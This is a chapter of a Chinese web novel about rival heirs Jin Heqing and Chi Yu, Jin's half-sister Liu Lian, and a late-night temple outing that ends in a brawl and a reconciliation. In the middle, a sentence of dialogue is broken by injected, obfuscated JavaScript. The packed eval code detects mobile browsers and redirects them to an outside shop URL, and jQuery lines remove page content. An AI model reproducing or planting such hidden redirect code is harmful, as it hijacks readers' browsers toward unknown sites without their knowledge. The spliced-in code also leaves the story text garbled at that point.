午夜将至，庙堂里灯火辉煌。
大家都在等零点过去，好在凌晨上第一炷香。
迟屿说，一定要珍惜这最后的宁静，趁四下无人，听一听聒噪的蝉鸣。
他带着她在大殿前面跪下，教给她参拜的礼仪，刘恋将信将疑。
看男人双手合十，似是无比虔诚。
刘恋也有样学样，跪倒磕头，默默向佛祖许愿。
“你不是从小在国外长大，也会懂中国的宗教礼仪？”刘恋跟在迟屿身边，缓步走下石阶。
“在中国，这只是一种文化，大家都拜，我也就跟着拜了。”迟屿微微耸肩，“在美国，我就信基督，在教堂跟着牧师唱唱圣歌；在中国，我就烧香拜佛，跟着大爷大妈募捐祈祷。入乡随俗嘛——”
刘恋忍不住笑了：“是啊，不信教会被排挤，个子矮被排挤，不参加聚会被排挤，好像我们生来就是要被排挤的一样。”
“你刚刚向佛祖许了什么愿望？”迟屿看她迟疑，赶紧笑着打趣，“肯定是想要找一个如意郎君，是不是？”
“……”刘恋停下脚步，许久，才反问他，“你许了什么愿望？”
“我希望世界和平，所有人都可以幸福生活……”
“你说的所有人里面，包括你自己吗？”
下楼的脚步暂停，迟屿愣住了。
直击灵魂，振聋发聩。
“我自己，当然……”男人强笑，他想保持幽默，他回过头去看她，“我……我不知道……这根本不重要……”
“所以，你为什么要回国呢？”居高临下，娇小的身躯渗透出压迫，“你爸爸在美国开中国超市，海外才是你的主战场，不是吗？”
“那你呢，为什么要回国？”迟屿瞪圆眼睛，额头青筋暴露。
“因为我想找到我的归属，这就是我的愿望。”刘恋笃定地说。
两双眼在黑暗中闪闪发光，迟屿却突然释怀，他忍不住笑。
表面上看起来，他们是含着金汤匙出生的天之骄子。可实际上，却是被家族抛弃的边缘人。出生在没有爱的家庭，两眼一争就是竞争，要不停地在爸爸妈妈面前争宠，才能得到财富。那和嗷嗷待哺的宠物，有什么分别？
他在她身上，嗅到了同类的气息。
可却对她的天真嗤之以鼻，他走上石阶，重新用身高换回高位。
“你从小到大吃穿不愁，学艺术，上名校，就已经超过很多人了。这个世界上，没有人不辛苦，没有人不难受，你还有什么不满足？”迟屿高谈阔论，说刘恋，也像是在说自己，“没有能力，就老老实实夹起尾巴做人，如果太认真，就会像靳晏城那样，变成家族斗争的牺牲品！”
沉默了，刘恋不再搭话。
两个人面面相觑，气喘吁吁。
大半夜的，干嘛和人家女孩子说这些？
迟屿冷静下来，却恢复不到那种玩世不恭的状态，他有些认真了。
这么多年，他摸索出来的生存之道，就是装不在意，装无所谓，装成一个吊儿郎当的纨绔子弟。他选择来中国，就是为了让姐姐们放心，他会永远游离在核心圈层之外。
“我没想和哥哥争，我是说真的。”刘恋真诚地说，她的语气平和。
“有些矛盾，不是你不争不抢就可以弥合的。你的存在，本身就是威胁。”迟屿冷笑一声，“你该庆幸，你有靳贺倾那样的好哥哥。他会永远纵容你……”
刘恋眨眨眼睛，她似懂非懂。
“时间不早了，回去休息吧。”迟屿双手插兜，走下楼梯。
出了院门，还未走远，靳贺倾“嗖”地一下闪现，一拳捶在迟屿的脸上。
……
一小时前，饭店。
靳贺倾和闻竞回头去找，包厢已经在收拾桌子。
“我妹妹呢？”男人急吼吼说。
“你说那个刚刚那个女孩子啊？”服务员对她想逃单的举动印象深刻，“她和一个个子很高的男人离开了。”
手机振动，是迟屿发来消息：“你妹妹在我这里。”
然后发了定位过来，大半夜的，居然跑到山上去？？
在靳贺倾看来，那就相当于绑架通知：“你妹妹在我手上！”
正好司机来了，开车直奔寺庙。
买票的时候，靳贺倾的冲动被工作人员拦下。
大妈冷漠地敲了敲玻璃上的提示，咳了一声：“看见没？喝过酒的不许入内！”
“我妹妹被人绑架了！我要进去救她！你凭什么拦我，凭什么？”
大妈抿起嘴，眯眼打量起面前的酒鬼，又重复了一次：“喝酒的不许进。快点，下一位！”
“我要报警，投诉你！”
靳贺倾还要battle（较量），闻竞赶紧拦着：“好了好了，我们在出口等就行了。寺庙不许饮酒，警察来了也得把你带走！你想上明天的头版头条啊？！”
靳贺倾无奈，只能作罢。
刚刚绕到出口，就看见两人出来，男人一拳招呼上去。
“喂！”闻竞赶紧上前去拉架。
“你干嘛打人啊？！”刘恋大喊一声，弯下腰去扶迟屿。
“靳贺倾！你疯了吧？！”迟屿捂着脑袋，从地上爬起来，气势高涨，“我帮你买单，帮你照顾妹妹，你就这么报答我吗？”
“你对刘恋做过什么，你自己心里清楚！”
“我不清楚！”迟屿委屈，眼眶微微泛红，“靳贺倾，你怪我把你当供应商，你又何尝不是这样对我的呢？你有真正信任过我，尊重过我吗？难道我在你心里，就是一个只会用下半身思考的种猪吗？”
“……”靳贺倾竟然无言以对。
“你一直拿我当是甲方，必要的时候哄一哄，没用的时候就丢到一旁。我知道，你根本看不上我。在你眼里，我就是个花花公子，是不学无术的富二代，你不会和我交心的！因为，你是你们靳家的长子嫡孙，而我在我们家只是一个被赶回国的私生子……”迟屿崩溃哽咽，平时见惯了嘻嘻哈哈，从没见过他那样。
啊？迟少是私生子？闻竞好像又吃到瓜了。
“OK，it''smyfault.（好吧，这是我的错。）”靳贺倾深喘一声，双手叉腰，尝试挽尊，“那你说我一次，我说你一次，我们扯平了。”
“但两次都是你打我啊！凭什么？”
“那就……”靳贺倾挠了挠头。
夜市。
好像才吃过晚饭，就又要开吃。
刘恋啃着烤串，说晚上有客人在，她都没好意思，又没吃饱。
“这次是我不好，我没搞清楚状况，这顿我请。”靳贺倾冷静下来，向迟屿道歉。
“这顿你请？上一顿也该你请！赶紧把钱转给我吧，我真是谢谢你！”迟屿还在赌气。
“好了好了，大半夜上山干嘛，这不是怕出危险……”闻竞出面打起圆场。
“不然去哪？酒吧刷夜？还是夜店蹦迪啊？”迟屿理直气壮，“其实上次我也是好心，我想帮你的忙嘛——明明说好是假结婚，谁知道你们都那么当真！”
“什么上次啊？什么假结婚？”刘恋像个仓鼠，鼓着嘴巴，竖起耳朵。
“少儿不宜。”靳贺倾搪塞说，把自己面前的烤串匀给妹妹，“快多吃点！”
“好啊，老板，再来二十串！”刘恋举手招呼。
“听说你找了个小明星，很有名吗？”靳贺倾转移话题。
“今天刚分手了。”迟屿无奈低头。
闻竞和靳贺倾交换了眼神，微微耸肩。
“还不是为了你的好妹妹，哭着喊着让我去救她，害得我和女朋友当场决裂。”迟屿两手一掰，怨道，“早说是让我买单，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492513|202300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我转钱过去不就行了，至于我亲自跑一趟？大半夜上山，挨蚊子咬不说，还得被你打这一拳……”
靳贺倾和闻竞交换了眼神，忍不住歪歪脖子，不约而同地把目光投向刘恋。
“看我干嘛？”刘恋有点心虚。
“八卦。”闻竞瞅了眼靳贺倾。
靳贺倾附和着点了点头。
“你们两个，什么时候这默契，都开始打哑谜了？”迟屿也嗅出了八卦的味道。
“好了，快吃吧，烤串一会儿凉了。”闻竞笑着招呼大家，端起酒杯，“这次把话说开，就算是和好了，谁都不许记仇啊！”
迟屿撇撇嘴，不情愿地端起酒杯。靳贺倾也微微勾起嘴角，把杯子高高举起。
玻璃杯碰在一起，刘恋高喊一声：“Cheers（干杯）！”
别墅区，小白楼。
折腾到夜里两点，靳贺倾几乎要睁不开眼。
“刘恋喜欢迟屿，也不一定是坏事吧。”闻竞开灯，把包挂在门口，“要是能和迟家结亲，你的商业版图前景会更加广阔。”
“我终于知道，我爸为什么喜欢你。”靳贺倾陷进沙发，厌弃地说，“你能不能不要老是从商业角度来替我考虑？把人当成人看，他们是人，活生生的人，不是用来做生意的工具！”
“我这不也是为你好？”闻竞委屈地撇嘴，她坐到靳贺倾身边，手肘抵在沙发上，侧着身子饶有兴趣地看他，“果然，太有人情味儿，就是不适合做生意。有没有考虑过要转行啊？”
“……”靳贺倾深吸口气，语气缓和下来，“迟民祥年纪大了，随时都可能去世，到时候又是血雨腥风……”
“迟家很有钱吗？”闻竞眨眨眼睛，“他们一直在海外发展，我好像不太了解。”
“国外电商不发达，传统超市还欣欣向荣。CMARKET（美华超市）在全美连锁，规模很大，具体多有钱，看不到财报，我也不是很清楚。不过从迟屿回国发展的那一天起，就意味着，他已经退出了家族角逐。顶多能分到国内业务，不过国内超市已经是夕阳产业，很难再有作为。”
建业路，公寓。
迟屿回到家，晚上还有说有笑看着女朋友拍的电影，转眼间又变得寂静无声。
“迟少，恋爱不是这么谈的。”她能说出那样的话，他感觉到有一些意外。
可他不愿意深思，思考这些事情，会让他感到痛苦，他不喜欢痛苦。
掏出手机，给远在洛杉矶的妈妈打了个视频。
金发碧眼，她还是像年轻时一样漂亮，语言却毫无长进。她用掺杂着南方口音的英文，对他说，她还没有睡醒，有什么事情晚点再说。
“Fine，haveaniceday……（好吧，祝你度过开心的一天。）”
一旦喧嚣停止，失落的情绪会将他拖入深渊。
迟屿的妈妈是个白人，怀他也是意外。
靳贺倾开始给闻竞讲睡前故事。
因为信教不能堕胎，才会把他生下来。
他妈妈从来不管他，只有问他爸要钱的时候才会联系。
不过迟屿很争气，小小年纪就表现出商业才华，很受他老爸重视。
但是他一直很介意，自己的非婚生身份，一直被同父异母的姐姐排挤。迟民祥的老婆是中国人，他们一起从温州移民过去的，大女儿迟苓才是明面上的继承人。
那个女人我也认识……
“喂，你到底有没有在听啊？”
“……”闻竞闭上眼睛，沉沉地睡了过去。
靳贺倾无奈叹了一声，将闻竞拦腰抱起，送回一楼卧室。
转身离开的时候，他余光一扫，在桌台上看到了那一张榨菜秘方。
审慎的目光，靳贺倾回头注视床榻上的女人。
她正毫无戒备，幽幽打起鼻鼾。